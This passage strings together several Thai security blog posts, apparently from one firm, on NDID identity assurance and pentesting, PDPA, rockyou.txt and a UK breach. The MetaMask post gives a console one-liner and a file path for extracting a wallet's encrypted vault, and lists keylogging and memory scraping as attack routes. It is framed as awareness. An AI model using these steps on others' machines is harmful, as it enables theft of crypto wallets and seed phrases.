จากปัจจัยทั้งหมดที่กล่าวมา สำหรับข้อแตกต่างระหว่าง IAL 2.1 และ IAL 2.2 นั้นคือ ข้อมูลชีวมิติ (Biometric) ซึ่งบังคับให้ต้องมีการใช้ร่วมกับปัจจัยอื่นด้วย ในขณะที่ IAL 2.1 นั้นไม่ได้บังคับให้นำข้อมูชีวมิติมาพิจารณาร่วมด้วย หากอ้างอิงจากรูป Infographic ของ ETDA ข้างต้น จะเห็นว่าหากใช้มาตรฐาน IAL 2.1 และใช้การยืนยันตัวตนผ่านสิ่งที่จัดอยู่ในประเภท Multi-factor device/software แล้วก็ถือว่าเพียงพอ
ข้อควรรู้ ข้อมูลชีวมิติ (Biometric) หรือ something you are ถือเป็นปัจจัยที่ไม่สามารถนำมาใช้เป็นปัจจัยเดี่ยว ๆ ได้ หากอ้างอิงตามภาพ Infographic จะเห็นว่า แม้ AAL ระดับ 1 กำหนดให้ใช้การยืนยันตัวตนเพียง 1 ปัจจัยก็เพียงพอ แต่ something you are ถือเป็นข้อยกเว้นให้ไม่สามารถนำมาใช้ได้ เหตุผลเพราะการเปรียบเทียบข้อมูลชีวมิตินั้นอยู่บนพื้นฐานของความน่าจะเป็น มีโอกาสเกิด false positive สามารถปลอมแปลงได้ง่าย และยกเลิกใช้งานได้ยาก (ไม่มีใครเปลี่ยนข้อมูลใบหน้าตัวเองได้ เมื่อเทียบกับกรณีรหัสผ่านถูกล่วงรู้สามารถเปลี่ยนรหัสผ่านได้) นั่นเอง
## วัตถุประสงค์ของ IAL และ AAL
ในการทำตามมาตรฐาน IAL และ AAL ตามระดับที่ถูกกำหนดไว้นั้นก็เพื่อตอบโจทย์วัตถุประสงค์ที่ต้องการได้มาซึ่งข้อมูลส่วนบุคคลที่มีคุณสมบัติดังต่อไปนี้
- ต้องสามารถยืนยันความมีอยู่เพียงหนึ่งเดียวของตัวตนของผู้ใช้บริการได้ จากข้อมูลทั้งหมดที่ได้รับมา เมื่อนำมาใช้ระบุตัวตนใครก็ตามจะต้องสามารถระบุตัวตนของบุคคลได้ออกมาเพียงบุคคลเดียวเท่านั้น
- ต้องสามารถยืนยันได้ว่าข้อมูลทั้งหมดของผู้ใช้บริการเป็นของแท้และเป็นของจริง เอกสารต่าง ๆ ต้องไม่ใช่ของที่ถูกปลอมแปลง หรือของจริงที่ผ่านการดัดแปลงมา หากเป็นข้อมูลก็ต้องถูกต้องทุกตัวเลขหรือทุกตัวอักษร ผิดพลาดไม่ได้แม้แต่ตัวเดียว
- ต้องสามารถยืนยันได้ว่าตัวตนที่ผู้ใช้บริการได้กล่าวอ้างนั้นมีตัวตนอยู่ในโลกจริง โดยพิจารณาจากความถูกต้องของข้อมูลตามมาตรฐาน IAL เทียบกับการยืนยันตัวตนของผู้ทำรายการตามมาตรฐาน AAL
{width="100%"}
หากทำตามมาตรฐาน IAL และ AAL ตามที่กำหนดเอาไว้แล้วแต่ยังไม่สามารถตอบโจทย์ครบทั้ง 3 คุณสมบัติได้นั้นอาจเป็นไปได้ว่า ระบบหรือขั้นตอนที่ใช้ในการตรวจสอบอาจยังมีความแม่นยำไม่เพียงพอ หรือข้อมูลที่ขอจากผู้สมัครใช้บริการยังไม่เพียงพอ จำเป็นต้องพิจารณาปรับเปลี่ยนการขอข้อมูลเพื่อตรวจสอบในมาตรฐาน IAL หรือปรับเปลี่ยนปัจจัยที่ใช้ในการยืนยันตัวตนตามมาตรฐาน AAL
การนำข้อมูลที่ผ่านการตรวจสอบโดยขาดคุณสมบัติใดคุณสมบัติหนึ่งไปใช้ส่งผลให้ไม่สามารถยืนยันได้ว่าเจ้าของข้อมูลดังกล่าวคือใครและมีตัวตนอยู่จริงหรือไม่ ซึ่งอาจนำมาซึ่งผลกระทบหรือความเสียหายที่คาดไม่ถึง ความถูกต้องและแม่นยำในการตรวจสอบข้อมูลจึงถือเป็นหัวใจสำคัญที่สุดของกระบวนการยืนยันตัวตน
## การทดสอบเจาะระบบ (Penetration Testing) กับ NDID
ในการเข้าร่วมเป็นสมาชิกของ NDID แน่นอนว่าจำเป็นต้องทำตามมาตรฐานที่กำหนดเอาไว้ สำหรับแอปพลิเคชันหรือระบบใด ๆ ที่จะเชื่อมต่อเข้ากับเครือข่ายของ NDID และสมาชิกอื่น ๆ ที่เข้าร่วมกับ NDID แอปพลิเคชันหรือระบบนั้นจะต้องผ่านการทดสอบเจาะระบบแล้วดำเนินการแก้ไขช่องโหว่ให้เรียบร้อยเสียก่อน
### กำหนดขอบเขตการทดสอบอย่างไร
การดำเนินการทดสอบเจาะระบบให้กับระบบ/แอปพลิเคชันที่เชื่อมต่อกับระบบของ NDID นั้นไม่จำเป็นต้องครอบคลุมทุกฟังก์ชันหรือโมดูลของระบบ/แอปพลิเคชัน แต่สามารถกำหนดขอบเขตของการทดสอบให้เหลือเฉพาะฟังก์ชันหรือโมดูลที่มีความเกี่ยวข้องกับ NDID ได้ เพราะส่วนใหญ่แล้วการยืนยันตัวตนผู้สมัครใช้บริการโดยอาศัยเครือข่ายของ NDID มักจะมีส่วนเกี่ยวข้องเพียงแค่ขั้นตอนการสมัครสมาชิกของระบบหรือแอปพลิเคชันเท่านั้น ไม่จำเป็นที่จะต้องทดสอบถึงระดับ Operating System หรือ Network
### Methodology ที่ใช้ในการทดสอบ
กระบวนการและมาตรฐานที่ทาง Incognito Lab ใช้อ้างอิงในการดำเนินการทดสอบเจาะระบบให้กับระบบ/แอปพลิเคชันที่มีการเชื่อมต่อกับ NDID ทั้ง RP IdP และ AS มีการอ้างอิง [*NIST SP 800–63 Digital Identity Guidelines*](https://pages.nist.gov/800-63-3/){rel=""nofollow""}มาปรับใช้ โดยมีการแบ่งกระบวนการออกเป็น 3 ขั้นตอน คือ
1. Profiling ตรวจสอบและวิเคราะห์แนวทางที่แอปพลิเคชันเป้าหมายถูกออกแบบมาและเชื่อมต่อเข้ากับเครือข่ายของ NDID พร้อมทั้งดูข้อจำกัดของ Infrastructure และทรัพยากรของทีมผู้พัฒนาและองค์กร ซึ่งแบ่งได้เป็น 4 หัวข้อในการพิจารณาคือ Host Network Integration และ Technology in usage
2. Layer-by-layer analysis จำแนกแอปพลิเคชันเป้าหมายเป็น Presentation layer, Business layer และ Data layer เพื่อหา key items เช่น Web, Controls, Web Services, Gateway หรือ Database แล้วจึงทำการวิเคราะห์ Security objective โดยใช้หัวข้อคำถามต่อไปนี้ในการจำแนกวัตถุประสงค์
- Tangible Assets to Protect
- Intangible Assets to Protect
- Compliance Requirements
- Quality of Services Requirements
เมื่อสามารถระบุวัตถุประสงค์หรือสิ่งที่เป็นหัวใจสำคัญได้แล้ว จะเข้าสู่การวิเคราะห์หา Attack surface เพื่อระบุจุดเป็นถือเป็น critical area ของแอปพลิเคชันเป้าหมาย โดยอ้างอิงจาก Security Development LifeCycle ของ Microsoft
{width="100%"}
Microsoft’s SDL ({rel=""nofollow""})
3. Verification ทำการตรวจประเมินแอปพลิเคชันเป้าหมายโดยแบ่งหัวข้อของการตรวจประเมินออกเป็น 17 หัวข้อ ได้แก่
- Authentication
- Session and cookie management
- Access controls and authorization
- Data validation
- Parameter tampering
- Various types of injection
- Cross-site scripting (XSS)
- Cross-site request forgery (CSRF)
- Direct object reference
- Use of cryptography
- Clear text transmission and sensitive information exposure
- Error and exception handling
- Administration interface and access controls
- Application business logic
- Web server and application server security configuration
## Top priority of NDID security issues
การทดสอบเจาะระบบที่มุ่งเน้นที่กระบวนการยืนยันตัวตนผ่านเครือข่ายของ NDID นั้น จะโฟกัสที่กระบวนการตรวจสอบและยืนยันความถูกต้องของ Digital ID ของผู้สมัครใช้บริการ ต้องเป็นไปตามคุณสมบัติ 3 ข้อที่ได้กล่าวไปในหัวข้อมาตรฐาน IAL และ AAL ดังนั้นจุดนี้จึงเป็นหัวใจสำคัญที่ต้องระมัดระวัง เพื่อไม่ให้ช่องโหว่ที่มีระดับความเสี่ยงสูงไปจนถึงสูงมากเกิดขึ้น ทาง Incognito Lab ได้รวบรวมเอาประเด็นที่ควรจะให้ความสำคัญ นำเสนอออกมาในมุมมอง Architecture พื้นฐานที่สามารถนำไปปรับใช้ หรือใช้เปรียบเทียบได้ทันที ซึ่งอาจเป็นประโยชน์ต่อทั้งนักทดสอบเจาะระบบ และนักพัฒนาระบบได้ไม่มากก็น้อย
{width="100%"}
ทาง Incongito Lab มีทีมนักทดสอบเจาะระบบที่ได้รับการรับรองตามที่มีความเชี่ยวชาญในการตรวจสอบและให้คำปรึกษาสำหรับกระบวนการตรวจสอบยืนยันตัวตน และมีประสบการณ์ในการให้บริการทดสอบเจาะระบบเพื่อให้ได้มาตรฐานตามที่ NDID กำหนดกับบริษัททางการเงินชั้นนำมากมาย เรายังคงมุ่งเน้นที่จะส่งมอบชิ้นงานที่มีคุณภาพและยังคงไว้ซึ่งความเป็นมืออาชีพ ตามปณิธานของเราตั้งแต่เริ่มต้น "We.Secure.The.Nation"
{width="100%"}
{width="100%"}
# Multiple Ways to Attack MetaMask
MetaMask เป็น Crypto Wallet ประเภทหนึ่ง จัดเป็น hot wallet ในลักษณะของ software ไว้เชื่อมต่อกับ BlockChain Network โดยสิ่งสำคัญที่สุดของ MetaMask ก็คือ mnemonic phrase หรือ seed phrase ซึ่งหากเราทำหายไปหรือถูก Hacker ขโมยไปได้ก็เกมโอเวอร์ บทความนี้เขียนขึ้นเพื่อให้ผู้อ่านทุกท่านได้เห็นแนวความคิดและเทคนิคของ attacker ว่าถ้าจะโจมตี MetaMask จะมีวิธีไหนกันบ้าง
1. Vault Access ผ่าน browser extension :br
ในที่นี้ลองทดสอบกับ chrome ให้เปิด console จากนั้นให้ดึงค่า vault data ออกมา ด้วย
```bash
chrome.storage.local.get(‘data’, result => {var vault = result.data.KeyringController.vaultconsole.log(vault)})
```

จากนั้นให้ copy output ทั้งหมดไป decrypt ด้วย MetaMask Vault Decryptor ดังรูป :br*\*วิธีการนี้ต้องใช้ password*
2. Vault Access ผ่าน local file
ไปยัง path ของ MetaMask โดยเครื่องที่ใช้ในการทดสอบอยู่ที่ C:\Users\\\[username]\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn จากนั้นให้ไปที่ file .ldb (Microsoft Access Lock Information File)

ให้เปิด file .ldb ให้ได้ โดยอาจจะใช้ HxD หา text string คำว่า "Keyring" ก็จะพบชุดข้อมูลของ Vault data ที่เราจะต้องไป decrypt ต่อ :br*\*วิธีการนี้ต้องใช้ password*

3. โจมตีด้วย Man-in-the-browser :br
MitB attack จะทำการ intercept input/output ทุกอย่างบน browser ทำให้ attacker สามารถเปลี่ยนแปลงการแสดงผล หรือดักจับข้อมูลทุกอย่างบน browser ได้ หาก attacker เอามาใช้ดัก password หรือ seed phrase ก็ย่อมทำได้ซึ่งวิธีการนี้เป็นที่นิยมใช้โจมตี application พวก Internet Banking มาเกินกว่า 10 ปีแล้ว :br{rel=""nofollow""}
4. โจมตีด้วย malware :br
การใช้ malware สามารถพลิกแพลงได้หลากหลาย เช่นใช้ keylogger ดักจับการกด keystroke logging เพื่อขโมย password เอาไป decrypt ข้อมูล vault ต่อหรือจะทำ memory scraping attack ที่จะ dump ข้อมูลใน memory โดยได้ลองทดสอบ idea การโจมตีดังกล่าวในรายการ [Incognito Mode Ep1](https://lnkd.in/gS7R24g){rel=""nofollow""} นาทีที่ 15

สำหรับ memory scraping attack ไม่ใช่ท่าใหม่แต่อย่างใด attacker ชอบนำมาใช้กับการโจมตีระบบ PoS อยู่แล้ว สามารถดูรายละเอียดเพิ่มเติมได้จาก {rel=""nofollow""}
5. ทำ extension ปลอม หลอกล่อให้คนติดตั้ง {rel=""nofollow""}
6. โจมตีด้วย phishing หลอกล่อขโมย password หรือ private key
## แล้วจะป้องกันอย่างไร
ให้ระมัดระวังการโจมตีที่กล่าวถึง และใช้งาน MetaMask จากเครื่องของเราเท่านั้นอย่าไปซี้ซั้วใช้งานที่เครื่องที่เราไม่ได้เป็นเจ้าของ สำหรับวิธีการที่น่าจะเป็นทางเลือกที่ดีที่สุดในตอนนี้ก็คือหันไปใช้ hardware wallet แทน
# PDPA คืออะไร องค์กรต้องเตรียมตัวอย่างไร
ช่วงต้นเดือนพฤษภาคมที่ผ่านมามีข่าวใหญ่เกี่ยวกับกฎหมายสำคัญฉบับหนึ่งของประเทศ หลายท่านคงได้ทราบข่าวแล้ว สำหรับการเลื่อนบังคับใช้ พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคล พ.ศ. 2562 กฎหมายฉบับนี้ถูกเลื่อนบังคับใช้มาเป็นครั้งที่ 2 แล้ว จากกำหนดการในการบังคับใช้เดิมนั้นอยู่ในช่วงกลางปี 2563 ซึ่งได้ถูกเลื่อนมา 1 ครั้ง และในปีนี้ก็มีมติคณะรัฐมนตรี ให้กฎหมายฉบับนี้มีผลบังคับใช้เลื่อนออกไปเป็นวันที่ 1 มิถุนายน 2565 เหตุผลหลักในการเลื่อนมาจากสถานการณ์การแพร่ระบาดของโควิด-19 ที่ยังคงรุนแรง และต่อเนื่องในช่วงที่ผ่านมา
ถึงแม้ พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคลฯ ได้ถูกเลื่อนออกไป แต่ในหลายกลุ่มธุรกิจได้ให้ความสำคัญกับกฎหมายฉบับนี้เป็นอย่างมาก ดังจะเห็นได้จากการที่ในหลายภาคส่วนธุรกิจได้มีการเตรียมตัว ดำเนินการโครงการรวมถึงจัดหาเครื่องมือ เพื่อให้องค์กรของตนปฏิบัติตามกฎหมายฉบับนี้ ตลอดช่วง 2 ปีที่ผ่าน อีกส่วนหนึ่งบางองค์การก็มีความจำเป็นที่จะต้องปฏิบัติตามกฎหมายคุ้มครองข้อมูลส่วนบุคคลในฝั่งยุโรปหรือ GDPR นั่นเอง ทั้งนี้ในปัจจุบันในทุกภาคส่วนก็ได้ตระหนักและได้ให้ความสำคัญกับความพยายามขององค์กรที่จะปกป้องข้อมูลส่วนบุคคลและการใช้สิทธิที่เกี่ยวกับข้อมูลส่วนบุคคล (Data Subject Access Right Request : DSAR) ที่เจ้าของข้อมูลส่วนบุคคล (Data Subject) เป็นเจ้าของ ยกตัวอย่างเช่น ช่องทางการใช้สิทธิผ่านบริการยื่นขอใช้สิทธิที่อยู่บนเว็บไซต์ สำนักงานคณะกรรมการกำกับหลักทรัพย์และตลาดหลักทรัพย์ (ก.ล.ต.)
กฎหมายฉบับนี้เองอยู่ในระหว่างพัฒนากฎหมายลำดับรองรวมไปถึงประกาศที่เกี่ยวข้องเพิ่มเติม แต่ในส่วนภาคเอกชนและภาควิชาการนั้นก็ได้มีการร่วมมือกันและออกแนวปฏิบัติเพื่อเป็นแนวทาง อย่างไรก็ตามการนำแนวปฏิบัติดังกล่าวไปปรับใช้ในแต่ละองค์กรนั้นก็ยังจะต้องใช้ทรัพยากรอีกพอสมควร เนื่องจากมีความจำเป็นที่จะต้องตีความกฎหมายให้ชัดเจนยิ่งขึ้น รวมไปถึงการพิจารณาแนวปฏิบัติเหล่านั้นให้เหมาะสมกับบริบทขององค์กร หากจะสรุปโดยคร่าวในการดำเนินตาม พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคลนั้น องค์กรมีความจำเป็นที่จะต้องเตรียมการใน 3 ส่วนหลักดังนี้
1. การเตรียมการด้านเอกสารทางกฎหมาย :br
เอกสารทางกฎหมายทั้งสัญญา (Contract) หรือเอกสารความยินยอม (Consent) ที่ต้องสอดคล้องกับฐานทางกฎหมาย (Lawful basis) ที่องค์กรเหลือใช้ในแต่ละชุดข้อมูล และครอบคลุมการไหล (Data flow) ของข้อมูลส่วนบุคคลทั้งหมดที่อยู่ภายในองค์กร และนโยบายคุ้มครองข้อมูลส่วนบุคคลที่ต้องถูกระบุอย่างชัดเจนและให้เป็นไปตามบริบทขององค์กร รวมถึงสอดคล้องกับกลุยุทธ์และเป้าหมายขององค์กรเอง
2. การเตรียมการด้านการปฏิบัติตามกฎหมาย :br
เมื่อกฎหมายบังคับใช้แล้วมีความจำเป็นอย่างยิ่งในการเตรียมการ ไม่ว่าจะเป็น การรองรับการใช้สิทธิจากเจ้าของข้อมูลส่วนบุคคล (DSAR) การจัดการเหตุด้านความมั่นคงปลอดภัยที่เกี่ยวกับข้อมูลส่วนบุคคลที่องค์กรดูแลอยู่ (Privacy breach management) การเตรียมการบันทึกการประมวลผลข้อมูลส่วนบุคคล เป็นต้น
3. การเตรียมการด้านการปกป้องข้อมูลส่วนบุคคล :br
ข้อมูลส่วนบุคคลในรูปแบบใดก็ตามไม่ว่าจะ รูปแบบเอกสาร รูปแบบอิเล็กทรอนิกส์ หรือรูปแบบอื่น องค์กรเองมีความจำเป็นจะต้องมีมาตรการด้านความมั่นคงปลอดภัยที่เหมาะสม โดยพิจารณาผ่านกระบวนการประเมินความเสี่ยงด้านความเป็นส่วนตัว (Data Projection Impact Assessment : DPIA หรือ Privacy Risk) เพื่อมั่นใจได้ข้อมูลส่วนบุคคลที่ดูแลโดยองค์กรอยู่นั้นจะมีความมั่นคงปลอดภัยที่เพียงพอจากการเข้าถึง ประมวลผล เปลี่ยนแปลง หรือแม่กระทั้งการส่งต่อจะต้องถูกดำเนินการจากผู้ที่มีสิทธิในการใช้งานข้อมูลส่วนบุคคลเหล่านั้นเท่านั้น
ที่กล่าวมาข้างต้นนี้เป็นส่วนหนึ่งเท่านั้นที่องค์กรต้องเตรียมการ และเป็นเพียงข้อสรุปเท่านั้น ในการดำเนินการจริงเพื่อให้ปฏิบัติ พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคลนั้น มีการดำเนินการอีกจำนวนมาก รวมไปถึงในหลายองค์กรที่คาดการณ์ว่าจะมีการปฏิบัติงานที่เกิดขึ้นอีกมากหลังจากการบังคับใช้ พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคลฯ
เห็นได้จากในหลายองค์กรพิจารณาจัดหาหรือพัฒนาเครื่องมือบริหารจัดการในการดูแลข้อมูลส่วนบุคคลที่องค์กรดูแลอยู่ รวมไปถึงการขอรับรองมาตรฐานด้านการจัดการและการคุ้มครองข้อมูลส่วนบุคคล Privacy Information Management System\:PIMS หรือมาตรฐาน ISO/IEC 27701:2019
โดยองค์กรชั้นนำในประเทศนำกรอบการดำเนินการตามาตรฐานนี้มาปรับใช้กับองค์กร รวมไปถึงขอการรับรองมาตรฐาน ปัจจุบันในประเทศไทยนั้นสามารถขอการรับรองในรูปแบบ accredited certification ได้แล้วด้วย นั่นก็แสดงว่ามาตรฐานที่ได้รับความนิยม ถูกพูดถึงในวงกว้างและได้ถูกนำไปปรับใช้กับองค์กรทั่วโลก (ในโอกาสหน้าผู้เขียนจะลงรายละเอียดในส่วนของรูปแบบมาตรฐานแบบaccredited และ non-accredited certification)
โดยผู้เขียนคาดการณ์ว่าในอีกไม่กี่ปีข้างหน้ามาตรฐานนี้จะได้รับความนิยมเป็นอย่างมากในประเทศไทยมาตรฐานฉบับนี้ครอบคลุมเนื้อหาของ GDPR ดังนั้นการดำเนินการตามมาตรฐานนี้จะครอบคลุมกับเนื้อหาที่มีอยู่ใน พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคลฯ อาจจะมีบางส่วนที่ตัวมาตรฐานมีเนื้อหาเกินจากกฎหมายของประเทศไทย เช่น Automated decision making ทั้งนี้ก็ขึ้นอยู่กับแต่ละองค์กรจะพิจารณาดำเนินการตาม พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคลฯ ในรูปแบบใดจะเริ่มจากปฏิบัติตามกฎหมายก่อน หรือจะเริ่มจากการนำกรอบมาตรฐานมาปรับใช้ในองค์กร โดยขึ้นอยู่กับความพร้อมและความชำนาญ ขององค์กร หากองค์กรใดได้รับรองมาตรฐาน ISO/IEC 27001:2013 อยู่แล้ว ก็เป็นเรื่องไม่ยากที่จะต่อยอดไปยังมาตรฐานด้านการดูแลและคุ้มครองข้อมูลส่วนบุคคล ISO/IEC 27701:2019
ทาง Incognito Lab มีทีมที่ปรึกษาที่ประสบการณ์และความชำนาญทั้ง ด้านของมาตรฐาน (standard) ด้านการดูแลความมั่นคงปลอดภัยของข้อมูล (personal data protection) และด้านกฎหมาย (legal) ผ่านการออกแบบ วิเคราะห์ ให้คำปรึกษากับบริษัทชั้นนำในประเทศมาอย่างยาวนาน โดยมาตรฐาน ISO ที่เราให้คำปรึึกษานั้นได้แก่ ISO27001, ISO27701, ISO20000, ISO22301
หากท่านต้องการสอบถามข้อมูลเพิ่มเติมสามารถติดต่อเราได้ที่
# Remote Access Security Assessment
Incognito Lab ร่วมต้านภัย COVID-19 ขอเต็มใจมอบบริการ "Remote Access Security Assessment" หรือ "บริการตรวจสอบความมั่นคงปลอดภัยของระบบ Remote Access ด้วย VPN สำหรับองค์กร" โดยไม่คิดค่าใช้จ่ายหรือมีบริการแฝงใด ๆ โดยทีมงานมืออาชีพที่ตั้งใจ ที่มีความสามารถ และอยากเป็นส่วนหนึ่งของการผนึกพลังในรูปแบบที่พวกเราสามารถช่วยทำได้ เพื่อฝ่าฟันภัย COVID-19 ของชาติในครั้งนี้
ผู้ดูแลระบบ ผู้สนใจและผู้ประกอบการ ที่ต้องการตรวจสอบระบบ IT/Infrastructure ของ Remote Access สามารถติดต่อมาได้ที่
สำหรับองค์กรที่มีความพร้อมอยู่แล้วและอยากตรวจสอบด้วยตัวของท่านเองสามารถอ่านเพิ่มเติมประเด็นต่าง ๆ ของ VPN ที่ควรพิจารณาได้จากบทความ "รอบรู้เรื่อง Remote Access ผ่าน VPN" ได้ที่
ด้วยความเชื่อมั่นว่าเราจะผ่านเหตุการณ์นี้ไปด้วยกัน :br
We.Secure.The.Nation
"ในจุดที่มืดที่สุด เราต้องเพ่งจนสุด เพื่อหาจุดแสง" - อริสโตเติล

# Rockyou.txt
rockyou.txt ไฟล์ที่รวบรวม Password ที่ทั้งผู้เชี่ยวชาญด้าน Cybersecurity และ Hacker นิยมใช้ มีที่มาอย่างไร ทำไมต้องชื่อนี้?
1. rockyou.txt เป็น Password Dictionary ยอดนิยมที่ Hacker หรือ Security Professional เลือกใช้ แม้แต่ใน Distro ดัง ๆ อย่าง Kali Linux ยังต้องมีติดไว้ นอกจากนี้ในการเล่น CTF หรือ ข้อสอบต่าง ๆ เกี่ยวกับการ Hack ก็ยังเลือก Password ที่อยู่ในไฟล์ rockyou.txt
2. Password Dictionary คือ ไฟล์ที่รวบรวม Password เพื่อที่จะใช้ในการทดสอบระบบ ในการ Hack หรือ ทดสอบระบบนั้น มักจะมีการทดสอบ Login ด้วยวิธีการต่าง ๆ ซึ่งแน่นอนว่า Hacker คงไม่นั่งพิมพ์ username/password ทีละชุดแล้วกด Submit แต่จะมีการใช้เครื่องมือในการทดสอบการ Login โดยเครื่องมือประเภทนี้จะต้องการให้เราระบุไฟล์ Dictionary ซึ่งระบุถึง List ของ Password ทั้งหมดที่เราต้องการทดสอบ
3. rockyou.txt ไม่ได้เป็นเพียงแค่ชื่อไฟล์ แต่ชื่อนี้มาจากบริษัทชื่อว่า RockYou
4. RockYou ก่อตั้งในปี 2005 เป็นบริษัทที่เริ่มจากการทำ Application บน Social media ต่าง ๆ เช่น Facebook MySpace
5. ในการใช้ Application ของ RockYou นั้นจะต้องมีการสร้าง Account บน RockYou ก่อนนอกจากนี้ตอนที่จะไปใช้บน Facebook หรือ MySpace นั้น จะต้องมีการใส่ Username/Password ของ Social Media Site นั้นผ่านเว็บของ RockYou ก่อน
6. ในปี 2009 นั้น RockYou มี user มากถึง 32 ล้าน accounts
7. ในปี 2009 นั้น RockYou ถูก Hack ด้วยเทคนิคที่ชื่อว่า SQL Injection นั่นเอง ซึ่งในสมัยนั้น (2009) ก็เป็นเทคนิคที่มีการใช้มาประมาณ 10 ปีแล้ว อย่างไรก็ตามในทุกวันนี้ก็ยังพบเจอ SQL Injection ได้เป็นเรื่องปกติ ซึ่งมันก็เป็นเวลา 20 กว่าปีแล้วสำหรับเทคนิคนี้
8. ทาง RockYou ได้ออกมาประกาศว่าเกิด Security Breach แต่ไม่ได้มีการบอกรายละเอียดเท่าไรนัก
9. Tom (Hacker ที่ไปดูด (dump) ข้อมูลออกมา, นี่ไม่ใช่ชื่อที่แท้จริงของเค้า แต่เป็นชื่อที่ทาง New York Times ใช้เรียกเค้า) ได้ออกมาประกาศว่าการเก็บ Password ของ RockYou นั้นเลวร้ายมาก เพราะว่ามีการเก็บ Password ในลักษณะ Plaintext (ไม่ได้มีการเข้ารหัส), มีการเก็บ Password ของ Social Media Site ในลักษณะ Plaintext เช่นเดียวกัน
10. คาดว่า Tom น่าจะอาศัยอยู่แถบ Eastern Europe เนื่องจากก่อนหน้านี้เค้าโจมตีเว็บใน Czech republic, Slovakia เป็นหลัก ซึ่งจากที่ Tom ให้ข้อมูลเค้าบอกว่าการไล่ Hack เพื่อ Dump Database ที่เก็บ username/password ตามเว็บต่าง ๆ นั้นเหมือนเป็นการเก็บ Trophy ของเค้า ไม่ได้จะตั้งใจเอาข้อมูลพวกนี้มาปล่อยสู่สาธารณะ แต่มีความไม่พอใจที่เว็บต่าง ๆ ไม่ยอมแก้ไขช่องโหว่ รวมถึงบางครั้งออกมาประกาศว่ามี Data Breach แบบให้ข้อมูลที่บิดเบือน
11. หลังจากมีข่าวว่า RockYou นั้นมีการจัดการกับรหัสผ่านรวมถึงข้อมูลส่วนตัวแย่เพียงไหนนั้น RockYou ก็ประสบปัญหาต่าง ๆ ในปี 2010 ได้มีการ layoff พนักงาน จนในที่สุดในปี 2019 นี้ RockYou ได้ถูกฟ้องล้มละลาย
12. ทาง Tom ซึ่งมีข้อมูล 32 ล้าน records นั้น คิดว่าข้อมูลขนาดนี้น่าจะใช้ประโยชน์อะไรบ้าง สุดท้ายเค้าไม่ได้นำ file ที่มีข้อมูล username/password ปล่อยสู่สาธารณะ แต่เลือกที่จะปล่อยข้อมูลในส่วนของ password ออกสู่สาธารณะเท่านั้น ซึ่งจากการวิเคราะห์ข้อมูล Set นี้พบว่าแค่ Top 5,000 Passwords ก็สามารถที่จะใช้ Login ได้มากถึง 20% ของ Account ทั้งหมดบน RockYou
13. Password ที่มีการใช้เยอะบน RockYou ได้แก่ 123456, 12345, 123456789, password, iloveyou
14. ในปี 2009 นั้น Data Breach Scale ระดับนี้ถือเป็นข่าวใหญ่มาก ในที่สุด Password ของ RockYou ก็มักถูกใช้อ้างอิงในการวิเคราะห์เรื่องราวเกี่ยวกับ Security ต่าง ๆ จนดังมากอีกครั้งเมื่อมีการนำ Password set นี้ไปไว้ใน Kali Linux (OS ที่รวมเครื่องมือเกี่ยวกับการ Hack) ในชื่อว่า rockyou.txt
15. หลักการตั้ง Password
- อย่าตั้ง Password ที่มีอยู่ใน Dictionary ซึ่งคำว่า Dictionary นี้หมายถึงไฟล์ประเภท rockyou.txt ไม่ใช่ Oxford, Longman ไรพวกนั้น
- ตั้ง Password ให้ยาว ๆ งานวิจัยบอกว่า Password ที่ยาวมีความแข็งแรงกว่า Password ที่สั้นแต่มีความซับซ้อน (ผสมตัวเลข อักขระพิเศษ ตัวพิมพ์เล็ก ตัวพิมพ์ใหญ่)
- อย่า Reuse Password (การใช้ Password เดียวกันซ้ำ ๆ หลายที่)
- เปิดใช้งาน 2 Factors Authentication (เลือกแบบที่เป็น Software Token เช่น Google Authenticator เลี่ยงการใช้ SMS)
Ref: [https://darknetdiaries.com/episode/33/](https://darknetdiaries.com/episode/33/?fbclid=IwAR38D7WJWRbJ5TOMInG8TmHSFi0jggBqIs9nnycj23wIkAsQ7-OQcpW8HSo){rel=""nofollow""}
> ปัจจุบันการโจมตีต่าง ๆ ไม่ได้เกิดทาง Physical อีกต่อไป จุดเริ่มต้นที่ทำให้ RockYou ซึ่งเป็นบริษัทที่มีผู้ใช้งานมหาศาลต้องปิดตัวลงนั้นเกิดจากการละเลยกับปัญหาด้าน Cybersecurity
> ผู้ดูแลระบบขององค์กรจึงควรสื่อสารกับผู้บริหารให้ทราบถึงความสำคัญด้าน Cybersecurity ในแง่ของการตรวจสอบและแก้ไขช่องโหว่ เพื่อการป้องกันและรับมือภัยคุกคามที่อาจเกิดขึ้นได้อย่างทันท่วงที
---
อ่านเพิ่มเติม Rockyou ในปี 2025
[/blogs/rockyou2024](https://incognitolab.com/blogs/rockyou2024)
# Talk Talk Data Breach
วันนี้มาเล่าเรื่อง Data Breach ของบริษัทในอังกฤษนะครับ ใครไปเที่ยวคงเคยเห็น Carphone Warehouse บริษัทเริ่มจากขายโทรศัพท์มือถือแล้วก็ขยายจนไปทำธุรกิจของ Mobile Operator ซึ่งภายในระยะเวลาประมาณ 1 ปีเนี่ยเกิด Data Breach ไปมากถึง 3 ครั้งเลย
1. Carphone Warehouse บริษัทของอังกฤษ ที่ทำธุรกิจขายโทรศัพท์มือถือ
2. Carphone Warehouse ขยายธุรกิจในปี 2003 โดยเปิดบริษัทลูกชื่อ TalkTalk ให้บริการเป็น Mobile Operator
3. ในปี 2009 Carphone Warehouse ซื้อ Tiscali ซึ่งเป็น Mobile Operator รายใหญ่ในยุโรป โดยจะทำการรวม (merge) Tiscali เข้ากับ TalkTalk เพื่อให้ TalkTalk เป็นผู้บริการที่มีฐานลูกค้าใหญ่มากขึ้น
4. ในปี 2010 มีการแยก TalkTalk ออกจาก Carphone Warehouse เพื่อออกมาตั้งเป็นบริษัท
5. ในช่วง Q4 ปี 2014 ลูกค้าของ TalkTalk ได้รับ call แปลก ๆ เป็นจำนวนมาก โดย call เหล่านี้เป็น scam call (พวกที่หลอกลวงต้มตุ๋นทางโทรศัพท์) บทสนทนาเริ่มจาก
